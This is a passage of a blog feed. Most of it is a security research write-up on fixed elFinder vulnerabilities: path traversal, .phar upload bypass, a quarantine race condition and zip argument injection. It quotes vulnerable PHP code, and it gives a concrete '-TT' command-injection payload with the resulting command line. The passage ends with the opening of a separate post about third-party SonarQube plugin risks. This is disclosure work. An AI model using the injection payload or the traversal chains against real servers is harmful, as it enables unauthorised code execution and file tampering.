  // [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The user can call any of these commands by providing the &lt;code&gt;cmd&lt;/code&gt; parameter with the required command parameter via &lt;code&gt;PATH_INFO&lt;/code&gt;, &lt;code&gt;GET&lt;/code&gt;, or &lt;code&gt;POST&lt;/code&gt;. In each command handler, parameters are accessed using &lt;code&gt;$args&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To allow remote filesystems (FTP, Dropbox, etc.) to be used with local ones, elFinder implements a filesystem abstraction layer (&lt;code&gt;elFinderVolumeDriver&lt;/code&gt;) on top of which all drivers are built. Files are then referenced by their volume name (e.g. &lt;code&gt;t1_&lt;/code&gt; is the trash, &lt;code&gt;l1_&lt;/code&gt; the default local volume) and the URL-safe Base64 of their name. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s first dig into an arbitrary file deletion bug chain, composed of two distinct issues.&lt;/p&gt;&lt;h3&gt;Deleting Arbitrary Files&lt;/h3&gt;&lt;p&gt;The PHP core does not provide an effective way to run background threads, or perform synchronization and inter-process communication. elFinder tries to balance this by heavily using temporary files and post-request hooks. For instance, users can &lt;code&gt;abort&lt;/code&gt; ongoing actions by calling the method of the same name:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinder.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function abort($args = array())
{
  if (!elFinder::$connectionFlagsPath || $_SERVER[&apos;REQUEST_METHOD&apos;] === &apos;HEAD&apos;) {
    return;
  }

  $flagFile = elFinder::$connectionFlagsPath . DIRECTORY_SEPARATOR . &apos;elfreq%s&apos;;
  if (!empty($args[&apos;makeFile&apos;])) { 
    self::$abortCheckFile = sprintf($flagFile, $args[&apos;makeFile&apos;]); // &lt;-- [1]
    touch(self::$abortCheckFile);
    $GLOBALS[&apos;elFinderTempFiles&apos;][self::$abortCheckFile] = true;
    return;
  }

  $file = !empty($args[&apos;id&apos;]) ? sprintf($flagFile, $args[&apos;id&apos;]) : self::$abortCheckFile; // &lt;-- [2]
  $file &amp;&amp; is_file($file) &amp;&amp; unlink($file);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, a code vulnerability is present at &lt;code&gt;[1]&lt;/code&gt; and &lt;code&gt;[2]&lt;/code&gt;: a user-controlled parameter is concatenated into a full path without prior checks. For &lt;code&gt;[1]&lt;/code&gt;, it can end up creating an empty file with a fully controllable name, and in &lt;code&gt;[2]&lt;/code&gt; it can be used to remove an arbitrary file. SonarCloud issues for both bugs are available: &lt;a href=&quot;https://sonarcloud.io/project/issues?id=SonarSourceResearch_elFinder2&amp;open=AXhbTmQAMtwvSXpgjgi3&amp;resolved=false&amp;sonarsourceSecurity=path-traversal-injection&amp;types=VULNERABILITY&quot;&gt;[1]&lt;/a&gt; and &lt;a href=&quot;https://sonarcloud.io/project/issues?id=SonarSourceResearch_elFinder2&amp;open=AXhbTmQAMtwvSXpgjgi1&amp;resolved=false&amp;sonarsourceSecurity=path-traversal-injection&amp;types=VULNERABILITY&quot;&gt;[2]&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There is a catch: the filename resulting from &lt;code&gt;[1]&lt;/code&gt; will be prefixed by &lt;code&gt;elfreq&lt;/code&gt;. In a path traversal attack, POSIX systems will fail path resolution if any predecessor in the path does not exist or is not a directory. For instance, resolving &lt;code&gt;/tmp/i_do_not_exist/../&lt;/code&gt; or &lt;code&gt;/tmp/i_am_a_file/../&lt;/code&gt; will respectively fail with &lt;code&gt;ENOENT&lt;/code&gt; and &lt;code&gt;ENOTDIR&lt;/code&gt;. This prerequisite makes the exploitation of these two vulnerabilities impossible as-is, and will require another bug, such as the ability to create an arbitrary directory.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker could then look into the command &lt;code&gt;mkdir&lt;/code&gt; and discover a primitive that allows this exact behaviour. Here is its top-level handler, before it goes through the filesystem abstraction layer:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinder.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function mkdir($args)
{
  $target = $args[&apos;target&apos;];
  $name = $args[&apos;name&apos;];
  $dirs = $args[&apos;dirs&apos;];
            // [...]
  if (($volume = $this-&gt;volume($target)) == false) {
    return array(&apos;error&apos; =&gt; $this-&gt;error(self::ERROR_MKDIR, $name, self::ERROR_TRGDIR_NOT_FOUND, &apos;#&apos; . $target));
  }
    // [...]
  return ($dir = $volume-&gt;mkdir($target, $name)) == false
            ? array(&apos;error&apos; =&gt; $this-&gt;error(self::ERROR_MKDIR, $name, $volume-&gt;error()))
            : array(&apos;added&apos; =&gt; array($dir));
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A generic implementation is present in &lt;code&gt;elFinderVolumeDriver&lt;/code&gt; to handle both the volume and path that should be created. It will call the volume-specific implementation at &lt;code&gt;[1]&lt;/code&gt; with the volume absolute path on the filesystem as the first parameter and the target name as the second parameter: &lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinderVolumeDriver.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function mkdir($dsthash, $name)
{
  // [...]
  $path = $this-&gt;decode($dsthash);
  // [...]
  $dst = $this-&gt;joinPathCE($path, $name);
  // v--- [1]
  $mkpath = $this-&gt;convEncOut($this-&gt;_mkdir($this-&gt;convEncIn($path),      $this-&gt;convEncIn($name)));
    if ($mkpath) {
        $this-&gt;clearstatcache();
        $this-&gt;updateSubdirsCache($path, true);
        $this-&gt;updateSubdirsCache($mkpath, false);
    }

    return $mkpath ? $this-&gt;stat($mkpath) : false;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It is defined as follows:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinderVolumeLocalFileSystem.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function _joinPath($dir, $name)
{
  return rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name;
}

protected function _mkdir($path, $name)
{
  $path = $this-&gt;_joinPath($path, $name);

  if (mkdir($path)) {
    chmod($path, $this-&gt;options[&apos;dirMode&apos;]);
    return $path;
  }
 
  return false;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;elFinderVolumeLocalFileSystem::_joinPath()&lt;/code&gt; is doing a mere concatenation of the two values, leading to a path traversal vulnerability. This gives a primitive to create arbitrary, empty folders on the local filesystem. While not being a vulnerability in itself, it will allow the exploitation of the aforementioned behaviour. &lt;/p&gt;&lt;p&gt;It is also worth noting the presence of a full path disclosure in the &lt;code&gt;rm&lt;/code&gt; command, disclosing the absolute path of a given file on the local filesystem:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinderVolumeDriver.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function remove($path, $force = false)
{
  $stat = $this-&gt;stat($path);

  if (empty($stat)) {
    return $this-&gt;setError(elFinder::ERROR_RM, $path, elFinder::ERROR_FILE_NOT_FOUND);
  }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The impact of this vulnerability is quite dependent on the environment: it could be chained with other elFinder bugs, used to trigger interesting behaviors in other applications (e.g. &lt;a href=&quot;https://blog.sonarsource.com/wordpress-file-delete-to-code-execution&quot;&gt;remove WordPress’ wp-config.php file to gain code execution&lt;/a&gt;) or used to affect existing security measures (e.g. removing &lt;code&gt;.htaccess&lt;/code&gt; files).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability has been &lt;a href=&quot;https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17#diff-6fe96d285bdbb6d8cf10335a4684ceb4f8badaa6bb7190a4f6b0d960d1af8904L347-R369&quot;&gt;fixed&lt;/a&gt; by improving the implementation of &lt;code&gt;elFinderVolumeLocalFileSystem::_joinPath(&lt;/code&gt;) to assert that the final path won’t be outside of the base one. Several calls to &lt;code&gt;basename()&lt;/code&gt; across the codebase were also added as a hardening measure.&lt;/p&gt;&lt;h3&gt;Moving Arbitrary Files&lt;/h3&gt;&lt;p&gt;This same &lt;code&gt;elFinderVolumeLocalFileSystem::_joinPath()&lt;/code&gt; method is used in other actions, such as &lt;code&gt;rename&lt;/code&gt;: it combines a volume base directory and a user-provided destination name. It is thus vulnerable to the bug we just described. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following snippet is the actual implementation of &lt;code&gt;elFinderVolumeLocalFileSystem::rename()&lt;/code&gt;, after executing all the code responsible for decoding the paths and ensuring that the destination extension is allowed:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinderVolumeLocalFileSystem.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function _move($source, $targetDir, $name)
{
  $mtime = filemtime($source);
  $target = $this-&gt;_joinPath($targetDir, $name);
  if ($ret = rename($source, $target) ? $target : false) {
    isset($this-&gt;options[&apos;keepTimestamp&apos;][&apos;move&apos;]) &amp;&amp; $mtime &amp;&amp; touch($target, $mtime);
  }
  return $ret;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While the destination extension is still strictly limited by MIME checks, this primitive can be enough for an unauthenticated attacker to gain command execution on the server, depending on the environment, by overriding files like &lt;code&gt;authorized_keys&lt;/code&gt;, &lt;code&gt;composer.json&lt;/code&gt;, etc. This bug &lt;a href=&quot;https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17#diff-6fe96d285bdbb6d8cf10335a4684ceb4f8badaa6bb7190a4f6b0d960d1af8904L347-R369&quot;&gt;has been fixed&lt;/a&gt; with the same patch as the previous bug we discussed.&lt;/p&gt;&lt;h3&gt;Uploading PHP Files&lt;/h3&gt;&lt;p&gt;As for most PHP applications, the biggest threat faced by elFinder is that an attacker could be able to upload PHP scripts to the server, since nothing (except quite a hardened web server configuration) would prevent them from accessing it directly to execute its contents. The maintainers initially tried to defend against that by crafting a block-list that associated dangerous MIME types to the relevant extensions:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinderVolumeDriver.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&apos;staticMineMap&apos; =&gt; array(
  &apos;php:*&apos; =&gt; &apos;text/x-php&apos;,
  &apos;pht:*&apos; =&gt; &apos;text/x-php&apos;,
  &apos;php3:*&apos; =&gt; &apos;text/x-php&apos;,
  &apos;php4:*&apos; =&gt; &apos;text/x-php&apos;,
  &apos;php5:*&apos; =&gt; &apos;text/x-php&apos;,
  &apos;php7:*&apos; =&gt; &apos;text/x-php&apos;,
  &apos;phtml:*&apos; =&gt; &apos;text/x-php&apos;,
  // [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In our test environment (Apache HTTP 2.4.46-1ubuntu1 on Ubuntu 20.10), the default configuration declares that &lt;code&gt;.phar&lt;/code&gt; files should be treated as &lt;code&gt;application/x-httpd-php ([1]&lt;/code&gt;) and be interpreted:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ cat /etc/apache2/mods-available/php7.4.conf
&lt;FilesMatch &quot;.+\.ph(ar|p|tml)$&quot;&gt;         
    SetHandler application/x-httpd-php  # &lt;-- [1]
&lt;/FilesMatch&gt;                           
&lt;FilesMatch &quot;.+\.phps$&quot;&gt;
    SetHandler application/x-httpd-php-source
    # Deny access to raw php sources by default
    # To re-enable it&apos;s recommended to enable access to the files
    # only in specific virtual host or directory
    Require all denied
&lt;/FilesMatch&gt;
# Deny access to files without filename (e.g. &apos;.php&apos;)
&lt;FilesMatch &quot;^\.ph(ar|p|ps|tml)$&quot;&gt;
    Require all denied
&lt;/FilesMatch&gt;
// [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This configuration was also observed on Debian’s stable release. While another pass of MIME type detection is performed on the contents of the file, this can be easily circumvented as the PHP interpreter allows statements anywhere in the interpreted files (e.g. &lt;code&gt;&amp;lt;?php&lt;/code&gt; can be placed after some dummy data).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://github.com/Studio-42/elFinder/commit/75ea92decc16a5daf7f618f85dc621d1b534b5e1&quot;&gt;fix&lt;/a&gt; is straightforward: it declares that &lt;code&gt;.phar&lt;/code&gt; files are associated with the MIME &lt;code&gt;text/x-php&lt;/code&gt;, which are disallowed by default. &lt;/p&gt;&lt;h3&gt;Argument Injection&lt;/h3&gt;&lt;p&gt;Among the default features that make elFinder so powerful, users can select multiple files and archive them using external tools such as &lt;code&gt;zip&lt;/code&gt;, &lt;code&gt;rar&lt;/code&gt;, and &lt;code&gt;7z&lt;/code&gt;. This functionality is exposed under the action named &lt;code&gt;archive&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinder.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function archive($args)
{
  $targets = isset($args[&apos;targets&apos;]) &amp;&amp; is_array($args[&apos;targets&apos;]) ? $args[&apos;targets&apos;] : array();
  $name = isset($args[&apos;name&apos;]) ? $args[&apos;name&apos;] : &apos;&apos;;

  if (($volume = $this-&gt;volume($targets[0])) == false) {
    return $this-&gt;error(self::ERROR_ARCHIVE, self::ERROR_TRGDIR_NOT_FOUND);
  }

  foreach ($targets as $target) {
    $this-&gt;itemLock($target);
  }

  return ($file = $volume-&gt;archive($targets, $args[&apos;type&apos;], $name))
        ? array(&apos;added&apos; =&gt; array($file))
        : array(&apos;error&apos; =&gt; $this-&gt;error(self::ERROR_ARCHIVE, $volume-&gt;error()));
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that users can create archives even if their upload is forbidden, by calling the &lt;code&gt;archive&lt;/code&gt; command on existing files. The implementation is specific to the virtual filesystem in use. We will focus solely on the default one, since it is inherited by &lt;code&gt;elFinderVolumeLocalFileSystem&lt;/code&gt; which crafts the full command line (&lt;code&gt;[1]&lt;/code&gt;) and executes it with the default shell (&lt;code&gt;[2]&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinderVolumeLocalFileSystem.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function makeArchive($dir, $files, $name, $arc)
{
// [...]
    $cwd = getcwd();
    if (chdir($dir)) {
      foreach ($files as $i =&gt; $file) {
        $files[$i] = &apos;.&apos; . DIRECTORY_SEPARATOR . basename($file);
      }
      $files = array_map(&apos;escapeshellarg&apos;, $files);

      $cmd = $arc[&apos;cmd&apos;] . &apos; &apos; . $arc[&apos;argc&apos;] . &apos; &apos; . escapeshellarg($name) . &apos; &apos; . implode(&apos; &apos;, $files); // &lt;-- [1]
      $this-&gt;procExec($cmd, $o, $c);                // &lt;-- [2]
// [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, the value of &lt;code&gt;$name&lt;/code&gt; comes from the user-controlled parameter &lt;code&gt;$_GET[&amp;#x27;name&amp;#x27;]&lt;/code&gt;. While properly escaped with &lt;code&gt;escapeshellarg()&lt;/code&gt; to prevent the use of command substitution sequences, the program will try to parse this value as a flag (&lt;code&gt;--foo=bar&lt;/code&gt;) and then as a positional argument. It is also worth noting that the user&amp;#x27;s value is suffixed with &lt;code&gt;.zip&lt;/code&gt; in the case in which the ZIP archiver is selected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The command &lt;code&gt;zip&lt;/code&gt; implements an integrity test feature (&lt;code&gt;-T&lt;/code&gt;) that can be used along with &lt;code&gt;-TT&lt;/code&gt; to specify the test command to run. In the present case, it gives the attacker a way to execute arbitrary commands using this parameter injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To be able to exploit this vulnerability, the attacker needs to create a dummy file (e.g. &lt;code&gt;a.txt&lt;/code&gt;), archive it to create &lt;code&gt;a.zip&lt;/code&gt; and then invoke the &lt;code&gt;archive&lt;/code&gt; action with both the original file and the archive as targets, using a name like &lt;code&gt;-TmTT=&amp;quot;$(id&amp;gt;out.txt)foooo&amp;quot;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The resulting command line will be &lt;code&gt;zip -r9 -q &amp;#x27;-TmTT=&amp;quot;$(id&amp;gt;out.txt)foooo&amp;quot;.zip&amp;#x27; &amp;#x27;./a.zip&amp;#x27; &amp;#x27;./a.txt&amp;#x27;&lt;/code&gt;, thus executing &lt;code&gt;id&lt;/code&gt; and logging its standard output into &lt;code&gt;out.txt&lt;/code&gt; — this file will be available with the other documents in elFinder’s interface.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When it came time to fix this bug, &lt;code&gt;zip&lt;/code&gt; wasn&amp;#x27;t very friendly. The usual method based on POSIX’s &lt;code&gt;--&lt;/code&gt; (&lt;a href=&quot;https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities/&quot;&gt;see our previous article about a parameter injection in Composer for an in-depth explanation&lt;/a&gt;) can’t be applied here, since &lt;code&gt;zip&lt;/code&gt; will exit with the following error:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;zip error: Invalid command arguments (can&apos;t use -- before archive name)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The maintainers then &lt;a href=&quot;https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17#diff-85602823cf2cdaf2502dc4f1b97001ffc0f083652aef175d9f068a5bfe90ca71L6875-R6882&quot;&gt;decided to prefix the archive name with ./ to prevent any risk of parameter injection&lt;/a&gt;. They also decided to harden the calls to the other archivers (&lt;code&gt;7z&lt;/code&gt;, &lt;code&gt;rar&lt;/code&gt;, etc.) in the same patch. &lt;/p&gt;&lt;h3&gt;Quarantine and Race Condition&lt;/h3&gt;&lt;p&gt;Let’s have a look at our last finding of this case study. While this vulnerability in the quarantine feature cannot be exploited in the default configuration since archives can’t be uploaded; the feature could have been responsible for future security issues because of its design. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The rationale behind the quarantine is that archives may contain unwanted files (mostly PHP scripts) that should not be extracted in the current folder without first running security checks (e.g. with MIME validation). So instead, elFinder chose to extract archives into a folder named &lt;code&gt;.quarantine&lt;/code&gt;, placed under the &lt;code&gt;files/&lt;/code&gt; folder, and  &lt;code&gt;elFinderVolumeLocalFileSystem::_extract()&lt;/code&gt; generates a random directory name for each archive extraction (at &lt;code&gt;[1]&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinderVolumeLocalFileSystem.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function _extract($path, $arc)
{
  if ($this-&gt;quarantine) {
    $dir = $this-&gt;quarantine . DIRECTORY_SEPARATOR . md5(basename($path) . mt_rand()); // &lt;-- [1]
    $archive = (isset($arc[&apos;toSpec&apos;]) || $arc[&apos;cmd&apos;] === &apos;phpfunction&apos;) ? &apos;&apos; : $dir . DIRECTORY_SEPARATOR . basename($path);
// [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This can be confirmed dynamically thanks to &lt;code&gt;strace&lt;/code&gt; or the &lt;code&gt;inotify&lt;/code&gt; suite, for instance here with an archive containing a PHP file:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ inotifywait -m -r .
./ CREATE,ISDIR efbf975ccbac8727f434574610a0f1b6
./ OPEN,ISDIR efbf975ccbac8727f434574610a0f1b6
]...[
./efbf975ccbac8727f434574610a0f1b6/ ATTRIB,ISDIR
./efbf975ccbac8727f434574610a0f1b6/ CREATE win.php
./efbf975ccbac8727f434574610a0f1b6/ OPEN win.php
./efbf975ccbac8727f434574610a0f1b6/ MODIFY win.php
./efbf975ccbac8727f434574610a0f1b6/ ATTRIB win.php
./efbf975ccbac8727f434574610a0f1b6/ CLOSE_WRITE,CLOSE win.php
./efbf975ccbac8727f434574610a0f1b6/ ATTRIB win.php
[...]
./efbf975ccbac8727f434574610a0f1b6/ DELETE win.php
[...]
./efbf975ccbac8727f434574610a0f1b6/ DELETE_SELF&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This trace can be understood as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A folder named &lt;code&gt;efbf975ccbac8727f434574610a0f1b6&lt;/code&gt; is created,&lt;/li&gt;&lt;li&gt;A file named &lt;code&gt;win.php&lt;/code&gt; is created within &lt;code&gt;efbf975ccbac8727f434574610a0f1b6&lt;/code&gt;,&lt;/li&gt;&lt;li&gt;Data is written into &lt;code&gt;win.php&lt;/code&gt;,&lt;/li&gt;&lt;li&gt;&lt;code&gt;win.php&lt;/code&gt; is deleted,&lt;/li&gt;&lt;li&gt;&lt;code&gt;efbf975ccbac8727f434574610a0f1b6&lt;/code&gt; is deleted.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the server is configured to list directories, this behavior can easily be exploited, since dangerous files (e.g. &lt;code&gt;.php&lt;/code&gt;) can be accessed right before the MIME validation step and their removal. The race condition window is however too small to think of an attack involving brute force if the random directory name can’t be found that way. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker could discover that the &lt;code&gt;duplicate&lt;/code&gt; action can be used on the internal folders, like &lt;code&gt;.quarantine&lt;/code&gt;, and copy any file regardless of its contents. While being a harmless functional bug on its own, it can be chained with the quarantine feature to duplicate the folder containing our extracted archive just before its deletion. The duplicated folder is then visible in the interface, and allows an attacker to get around the random name to access the malicious script, ultimately granting arbitrary code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a &lt;a href=&quot;https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17#diff-6fe96d285bdbb6d8cf10335a4684ceb4f8badaa6bb7190a4f6b0d960d1af8904L78-R232)&quot;&gt;fix&lt;/a&gt;, the maintainers decided to move the &lt;code&gt;.quarantine&lt;/code&gt; folder outside of files/. The &lt;code&gt;elFinderVolumeLocalFileSystem&lt;/code&gt; abstraction layer is not aware of anything outside of this folder, preventing any unintended action on &lt;code&gt;.quarantine&lt;/code&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-03-22&lt;/td&gt;&lt;td&gt;These 5 issues are reported to maintainers&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-06-10&lt;/td&gt;&lt;td&gt;The maintainers acknowledge all our findings&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-06-13&lt;/td&gt;&lt;td&gt;elFinder 2.1.59 is released, fixing the bugs we reported&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-06-13&lt;/td&gt;&lt;td&gt;CVE-2021-32682 and CVE-2021-23394 are assigned&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this case study we looked at critical code vulnerabilities that are commonly found in web file managers. We presented several of our real-world findings in the latest version of elFinder available at the time, including their potential impact and how they were fixed by the vendor.  It allowed us to demonstrate that innocuous bugs can often be combined to gain arbitrary code execution. We believe it is important to document and report these vulnerabilities to break future bug chains and reduce the risk of similar issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also learned that working with paths is not easy and that extra measures should be taken: performing additional checks in the “low-level” functions, using &lt;code&gt;basename()&lt;/code&gt; and &lt;code&gt;dirname()&lt;/code&gt; with confidence (and knowing their limits!) and always validating user-controlled data. Such bugs are very common in web file managers, and you should always have such bugs in mind when working with them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While we don’t plan to release any exploits for these bugs, we would still like to bring your attention to the fact that arbitrary code execution was easily demonstrated and attackers won’t have much trouble replicating it. We urge you to immediately upgrade to elFinder 2.1.59. We also advise enforcing strong access control on the connector (e.g. basic access authentication). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank the maintainers of elFinder for acknowledging our advisory and fixing these vulnerabilities in a timely and professional manner.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer&quot;&gt;https://blog.sonarsource.com/php-supply-chain-attack-on-composer&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/bitbucket-path-traversal-to-rce&quot;&gt;https://blog.sonarsource.com/bitbucket-path-traversal-to-rce&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-file-delete-to-code-execution&quot;&gt;https://blog.sonarsource.com/wordpress-file-delete-to-code-execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Use 3rd-party plugins at your own risk]]></title><description><![CDATA[If you're using 3rd-party plugins for SonarQube, you're obviously already aware of the benefits. With this blog post, we want to make sure you're also aware of the risks. Because there are risks.]]></description><link>https://www.sonarsource.com/blog/use-3rd-party-plugins-at-your-own-risk</link><guid isPermaLink="false">1361a537-21ee-5c71-8bcc-527cbf71d5c2</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Tue, 10 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SonarQube has always had a rich plugin Marketplace, with much of SonarQube&amp;#x27;s functionality originally delivered as plugins and many additional needs being met by community-maintained plugins. But since October 2019,  all SonarSource-provided functionality is bundled with SonarQube. That means any plugins you&amp;#x27;re using today probably come from third parties (unless you&amp;#x27;re writing your own). If you&amp;#x27;re using 3rd-party plugins, you&amp;#x27;re obviously already aware of the benefits. With this blog post, we want to make sure you&amp;#x27;re also aware of the risks. Because there are risks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To be clear, we&amp;#x27;re not aware of any plugins that are crafted with malicious intent, and the vast majority of plugin maintainers undertake the effort in good faith and with a pure will to benefit the community. Let me say that again. We consider the vast majority of plugin maintainers to be good folks providing a valuable service to fill the gaps they see in SonarQube&amp;#x27;s functionality.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That doesn&amp;#x27;t mean there&amp;#x27;s not the potential for things to go wrong. In the 8.9 LTS we added some restrictions on what plugins can do in order to limit the risks. But if we closed all the doors, plugins wouldn&amp;#x27;t be able to accomplish much, so they still have access to a powerful API. And we don&amp;#x27;t have plans to change that. We don&amp;#x27;t want to interfere with plugins&amp;#x27; ability to deliver value or your ability to use them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But we do think you should be clear-eyed about using plugins.&lt;/p&gt;&lt;h2&gt;Marketplace plugins&lt;/h2&gt;&lt;p&gt;So first, let&amp;#x27;s lift the veil on the Marketplace, SonarQube&amp;#x27;s selective, in-app listing of 3rd-party plugins. Before being added, every plugin in the Marketplace is initially tested by SonarSource for &lt;/p&gt;&lt;ul&gt;&lt;li&gt;basic functionality (Does the server still start up? Does analysis succeed?...)&lt;/li&gt;&lt;li&gt;acceptable behavior (Are the analysis logs overly chatty? Does it &amp;quot;phone home&amp;quot;? Leave the file systems littered with temp files?...), &lt;/li&gt;&lt;li&gt;user experience (Are the metrics, interfaces, docs clear and understandable?...).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once a plugin passes those tests and meets some &lt;a href=&quot;https://community.sonarsource.com/t/deploying-to-the-marketplace/35236&quot;&gt;routine requirements&lt;/a&gt; (including being open source) its initial version is in. After that… All that&amp;#x27;s required for new versions is a passing Quality Gate on SonarCloud and a properly formatted request. &lt;strong&gt;We don&amp;#x27;t audit or vet the source code or the binaries, and there is no guarantee that the code that&amp;#x27;s published is the code that&amp;#x27;s distributed in the binary.&lt;/strong&gt; We rely on maintainers and on your reports to know if plugins start acting badly or stop being compatible with new versions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So you can look on plugins in the Marketplace as being minimally vetted. But not as being endorsed or supported by SonarSource.&lt;/p&gt;&lt;h2&gt;The Marketplace in commercial editions&lt;/h2&gt;&lt;p&gt;Maybe it&amp;#x27;s already obvious at this point why we changed how the Marketplace works in commercial editions starting from 8.9 LTS. Now, instead of being able to install plugins directly in the Marketplace, you only have a list of Marketplace plugins, 